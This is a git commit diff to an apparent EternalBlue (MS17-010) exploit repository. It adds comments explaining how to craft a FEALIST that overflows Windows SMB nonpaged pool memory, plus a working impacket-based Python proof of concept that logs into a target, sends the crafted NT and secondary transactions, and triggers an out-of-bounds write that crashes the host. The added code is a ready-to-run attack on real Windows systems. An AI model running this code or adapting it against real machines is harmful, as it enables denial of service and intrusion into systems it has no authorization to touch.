explain how to craft FEALIST for eternalblue exploit
This commit is contained in:
@@ -20,29 +20,7 @@ Reference:
|
|||||||
|
|
||||||
Bug detail:
|
Bug detail:
|
||||||
- For the buffer overflow bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
|
- For the buffer overflow bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
|
||||||
- For other bugs defailt, see BUG.txt
|
- The exploit also use other 2 bugs (see details in BUG.txt)
|
||||||
- Here is related struct info.
|
|
||||||
#####
|
|
||||||
typedef struct _FEA { /* fea */
|
|
||||||
BYTE fEA; /* flags */
|
|
||||||
BYTE cbName; /* name length not including NULL */
|
|
||||||
USHORT cbValue; /* value length */
|
|
||||||
} FEA, *PFEA;
|
|
||||||
|
|
||||||
typedef struct _FEALIST { /* feal */
|
|
||||||
DWORD cbList; /* total bytes of structure including full list */
|
|
||||||
FEA list[1]; /* variable length FEA structures */
|
|
||||||
} FEALIST, *PFEALIST;
|
|
||||||
|
|
||||||
typedef struct _FILE_FULL_EA_INFORMATION {
|
|
||||||
ULONG NextEntryOffset;
|
|
||||||
UCHAR Flags;
|
|
||||||
UCHAR EaNameLength;
|
|
||||||
USHORT EaValueLength;
|
|
||||||
CHAR EaName[1];
|
|
||||||
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
|
|
||||||
|
|
||||||
- The exploit also use other 2 bugs
|
|
||||||
- Send a large transaction with SMB_COM_NT_TRANSACT but processed as SMB_COM_TRANSACTION2 (requires for trigger bug)
|
- Send a large transaction with SMB_COM_NT_TRANSACT but processed as SMB_COM_TRANSACTION2 (requires for trigger bug)
|
||||||
- Send special session setup command (SMB login command) to allocate big nonpaged pool (use for creating hole)
|
- Send special session setup command (SMB login command) to allocate big nonpaged pool (use for creating hole)
|
||||||
######
|
######
|
||||||
@@ -86,6 +64,8 @@ Shellcode note:
|
|||||||
- Then, using APC in Process context to get code execution in userland (ring 3)
|
- Then, using APC in Process context to get code execution in userland (ring 3)
|
||||||
'''
|
'''
|
||||||
|
|
||||||
|
# Note: see how to craft FEALIST in eternalblue_poc.py
|
||||||
|
|
||||||
# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000)
|
# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000)
|
||||||
# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time
|
# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time
|
||||||
# the size 0x11000 is used in nsa exploit. this size is more reliable.
|
# the size 0x11000 is used in nsa exploit. this size is more reliable.
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
from impacket import smb
|
from impacket import smb
|
||||||
from mysmb import MYSMB
|
from mysmb import MYSMB
|
||||||
from struct import pack
|
from struct import pack
|
||||||
|
import random
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
'''
|
'''
|
||||||
@@ -23,19 +24,69 @@ conn.login(USERNAME, PASSWORD)
|
|||||||
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||||
conn.set_default_tid(tid)
|
conn.set_default_tid(tid)
|
||||||
|
|
||||||
# OOB write ~0x8c00 for BSOD
|
'''
|
||||||
payload = pack('<I', 0x10000)
|
To craft FEALIST for nonpaged pool overflow, we need to know following data structures.
|
||||||
payload += pack('<BBH', 0, 0, 0xc003) + 'A'*0xc004
|
|
||||||
|
typedef struct _FEA { /* fea */
|
||||||
|
BYTE fEA; /* flags */
|
||||||
|
BYTE cbName; /* name length not including NULL */
|
||||||
|
USHORT cbValue; /* value length */
|
||||||
|
} FEA, *PFEA;
|
||||||
|
|
||||||
|
typedef struct _FEALIST { /* feal */
|
||||||
|
DWORD cbList; /* total bytes of structure including full list */
|
||||||
|
FEA list[1]; /* variable length FEA structures */
|
||||||
|
} FEALIST, *PFEALIST;
|
||||||
|
|
||||||
|
typedef struct _FILE_FULL_EA_INFORMATION {
|
||||||
|
ULONG NextEntryOffset;
|
||||||
|
UCHAR Flags;
|
||||||
|
UCHAR EaNameLength;
|
||||||
|
USHORT EaValueLength;
|
||||||
|
CHAR EaName[1];
|
||||||
|
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
|
||||||
|
|
||||||
|
A server need to convert FEA to FILE_FULL_EA_INFORMATION. FEA is byte aligned while FILE_FULL_EA_INFORMATION is DWORD aligned.
|
||||||
|
For example:
|
||||||
|
- FEA '\x00\x01\x01\x00n\x00v' (flags=0, cbName=1, cbValue=1, Name='n\0', Value='v')
|
||||||
|
- to FILE_FULL_EA_INFORMATION '????\x00\x00\x01\x00n\x00v'+'\x00' (last byte is padding)
|
||||||
|
- FEA '\x00\x00\x00\x00\x00' (flags=0, cbName=0, cbValue=0, Name='\0', Value='')
|
||||||
|
- to FILE_FULL_EA_INFORMATION '????\x00\x00\x00\x00\x00'+'\x00'*3 (last 3 bytes are padding)
|
||||||
|
|
||||||
|
From last example, smallest FEA size is 5 bytes. When it is converted to FILE_FULL_EA_INFORMATION, a buffer size is 12 bytes.
|
||||||
|
With many small FEA entries, a server need to allocate buffer for FILE_FULL_EA_INFORMATION entries much larger than input.
|
||||||
|
This is helpful to control the size of vulnerable nonpaged pool.
|
||||||
|
|
||||||
|
A FEA flags value is another important value in exploitation. Only 0 and 0x80 is valid flags. Before converting FEA to
|
||||||
|
FILE_FULL_EA_INFORMATION, the flags is checked first. If the flags is invalid, the converting process is stopped. So we can use
|
||||||
|
the flags value to controll how many bytes we want to overflow.
|
||||||
|
'''
|
||||||
|
# OOB write ~0xcc00 (OOB read ~0x8c00 too because we do not provide enough data for last FEA)
|
||||||
|
# With this large OOB write and read, page fault should be happen (BSOD)
|
||||||
|
payload = pack('<I', 0x10000) # FEALIST.cbList
|
||||||
|
payload += pack('<BBH', 0, 0, 0xc003) + 'A'*0xc004 # FEA
|
||||||
|
# because of bug in SrvOs2FeaListSizeToNt(), below FEA is converted to FILE_FULL_EA_INFORMATION but a server
|
||||||
|
# does not allocate buffer for it.
|
||||||
payload += pack('<BBH', 0, 0, 0xcc00) + 'B'*0x4000
|
payload += pack('<BBH', 0, 0, 0xcc00) + 'B'*0x4000
|
||||||
|
|
||||||
|
# First transaction request MUST be NT transaction because we need to send a data size >=0x10000
|
||||||
mid = conn.next_mid()
|
mid = conn.next_mid()
|
||||||
# NT function can be any
|
# NT function can be any
|
||||||
# TRANS2_OPEN2 (0)
|
TRANS2_OPEN2 = 0 # need parameter at least 30 bytes
|
||||||
conn.send_nt_trans(2, setup=pack('<H', 0), mid=mid, param='\x00'*30, data=payload[:1000], totalDataCount=len(payload))
|
conn.send_nt_trans(2, setup=pack('<H', TRANS2_OPEN2), mid=mid, param='\x00'*30, data=payload[:1000], totalDataCount=len(payload))
|
||||||
i = 1000
|
i = 1000
|
||||||
while i < len(payload):
|
while i < len(payload):
|
||||||
sendSize = min(4096, len(payload) - i)
|
sendSize = min(4096, len(payload) - i)
|
||||||
conn.send_trans2_secondary(mid=mid, data=payload[i:i+sendSize], dataDisplacement=i)
|
# As mentioned in BUG.txt, we can send any secondary transaction for filling transaction data.
|
||||||
|
# Only last request that complete the transaction data need to be correct (TRANS2 in this case).
|
||||||
|
# We can also send data in any order.
|
||||||
|
method = 1 if len(payload) - i <= 4096 else random.randint(0, 2)
|
||||||
|
if method == 0:
|
||||||
|
conn.send_trans_secondary(mid, data=payload[i:i+sendSize], dataDisplacement=i)
|
||||||
|
elif method == 1:
|
||||||
|
conn.send_trans2_secondary(mid, data=payload[i:i+sendSize], dataDisplacement=i)
|
||||||
|
else:
|
||||||
|
conn.send_nt_trans_secondary(mid, data=payload[i:i+sendSize], dataDisplacement=i)
|
||||||
i += sendSize
|
i += sendSize
|
||||||
|
|
||||||
conn.recvSMB()
|
conn.recvSMB()
|
||||||
|
|||||||
Reference in New Issue
Block a user